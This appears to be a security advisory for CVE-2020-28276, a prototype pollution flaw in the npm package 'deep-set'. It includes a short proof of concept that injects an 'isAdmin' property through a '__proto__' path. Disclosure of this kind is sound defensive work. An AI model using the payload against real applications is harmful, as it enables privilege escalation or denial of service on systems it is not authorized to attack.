The NPM module 'deep-set' can be abused by Prototype Pollution vulnerability since the function deepSet() does not check for the type of object before assigning value to the property. Due to this flaw an attacker could create a non-existent property or able to manipulate the property which leads to Denial of Service or potentially Remote code execution.

PoC

var deepSet = require('deep-set')
var obj = {'1':'2'}
console.log(obj.isAdmin);
deepSet(obj, '__proto__.isAdmin', 'true')
console.log(obj.isAdmin);

References

• https://nvd.nist.gov/vuln/detail/CVE-2020-28276
• https://github.com/klaemo/deep-set/blob/103d650b3de1f5c6cf051236347ba59e7274cd07/index.js#L39
• https://web.archive.org/web/20210320110509/https://www.whitesourcesoftware.com/vulnerability-database/CVE-2020-28276